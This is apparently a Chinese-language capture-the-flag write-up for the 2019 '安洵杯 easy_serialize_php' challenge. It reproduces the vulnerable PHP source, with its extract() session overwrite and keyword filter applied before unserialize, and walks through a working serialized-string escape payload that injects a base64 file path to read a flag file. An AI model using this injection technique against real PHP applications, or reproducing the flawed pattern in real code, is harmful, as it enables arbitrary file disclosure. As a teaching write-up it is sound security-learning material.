[安洵杯 2019]easy_serialize_php
这是一道反序列化字符串逃逸题目 一道学习题目
打开题目 看到源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50
| <?php
$function = @$_GET['f'];
function filter($img){ $filter_arr = array('php','flag','php5','php4','fl1g'); $filter = '/'.implode('|',$filter_arr).'/i'; return preg_replace($filter,'',$img); }
if($_SESSION){ unset($_SESSION); }
$_SESSION["user"] = 'guest'; $_SESSION['function'] = $function;
extract($_POST);
if(!$function){ echo '<a href="index.php?f=highlight_file">source_code</a>'; }
if(!$_GET['img_path']){ $_SESSION['img'] = base64_encode('guest_img.png'); }else{ $_SESSION['img'] = sha1(base64_encode($_GET['img_path'])); }
$serialize_info = filter(serialize($_SESSION));
if($function == 'highlight_file'){ highlight_file('index.php'); }else if($function == 'phpinfo'){ eval('phpinfo();'); }else if($function == 'show_image'){ $userinfo = unserialize($serialize_info); echo file_get_contents(base64_decode($userinfo['img'])); } ?>
|
看到url 是f=highli_file
看到源码就明白了
1 2 3 4 5 6 7 8
| if($function == 'highlight_file'){ highlight_file('index.php'); }else if($function == 'phpinfo'){ eval('phpinfo();'); }else if($function == 'show_image'){ $userinfo = unserialize($serialize_info); echo file_get_contents(base64_decode($userinfo['img'])); }
|
这里可以说是主程序了 题目当f=phpinfo()
输出phpinfo()
我们会找到一些东西
果然发现了可疑php文件
主程序有file_get_contents() 这里应该就是去包含我们发现的d0g3_f1ag.php文件
还有一个我不知道的特殊点:$_SESSION数组 这是一个数组
这道题$_SESSION共有三个变量分别为 user function img
其实img用来去包含那个php文件
但是这里
1 2 3 4 5
| if(!$_GET['img_path']){ $_SESSION['img'] = base64_encode('guest_img.png'); }else{ $_SESSION['img'] = sha1(base64_encode($_GET['img_path'])); }
|
$_SESSION[‘img’]先通过base64加密 然后再进行sha1()函数 尽管主函数最后包含文件之前会有base64解密 但是sha1()函数明显就是不让我们直接将flag文件赋值给$_SESSION[‘img’]
那么应该怎么让$_SESSION[‘img’]等于我们的php文件呢 这里思路大概就是类似于类反序列化
本地序列化构造包含了php文件的$_SESSION[‘img’] 然后再反序列去覆盖那个题目中的$_SESSION[‘img’]
再来看过滤这部分 用空字符去正则代换我们的文件名后缀名
1 2 3 4 5
| function filter($img){ $filter_arr = array('php','flag','php5','php4','fl1g'); $filter = '/'.implode('|',$filter_arr).'/i'; return preg_replace($filter,'',$img); }
|
这里就用到了字符串反序列化沙箱逃逸 参考https://www.jianshu.com/p/8e8117f9fd0e
通过一个小demo简单看一下原理
1 2 3 4 5 6 7 8 9
| <?php
$a = array('123', 'abc', 'defg'); $b=serialize($a); var_dump(unserialize($b));
$c='a:3:{i:0;s:3:"123";i:1;s:3:"abc";i:2;s:4:"love";}i:2;s:4:"defg";}'; var_dump(unserialize($c)); ?>
|
本地测试
1 2 3 4 5 6 7 8 9 10 11 12
| <?php $a ='/flag/'; $_SESSION["user"]='flagflagflagflagflagflag'; $_SESSION["function"]='a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}'; $_SESSION["img"]='L2QwZzNfZmxsbGxsbGFn'; $b=serialize($_SESSION); echo $b; echo "\n"; $c=preg_replace($a,'',$b); var_dump($c); print_r(unserialize($c)); ?>
|
就是通过特意构造序列化 让$_SESSION[“function”]中的内容仿照反序列化后的$_SESSION[img]数组内容 从而达到覆盖
当$_SESSION[‘user’]中的24个字符被空字符代替之后 之后反序列化就会继续向后面寻找24个字符找到符合条件的内容进行反序列化读取";s:8:"function";s:59:"a
这24个字符 并且之后还有";
符合停止的条件 而后继续向后读取img的20个字符,第四个、第五个s向后读取均满足规则。
这里需要注意的点:
这里'a"
左边的单引号是去闭合者一整段字符串右边的单引号
右边的双引号是为了去闭合序列化后的"a"
为什么是4个flag 即24个字符 要根据后面构造的内容去灵活变动
然后是}
构造的字符串中有一个}
这个很重要 一开始本地测试的一直报错 发现是把这个}
给删了 这个}
是用来之后反序列化时候匹配停止匹配的一个符号吧(我是这样认为的)如果不加就会导致沙箱逃逸失败
然后因为在文件包含之前会有base64解码 需要把我们发现的php文件进行base64加密之后 弄进我们构造的字符串中
之后题目就迎刃而解了。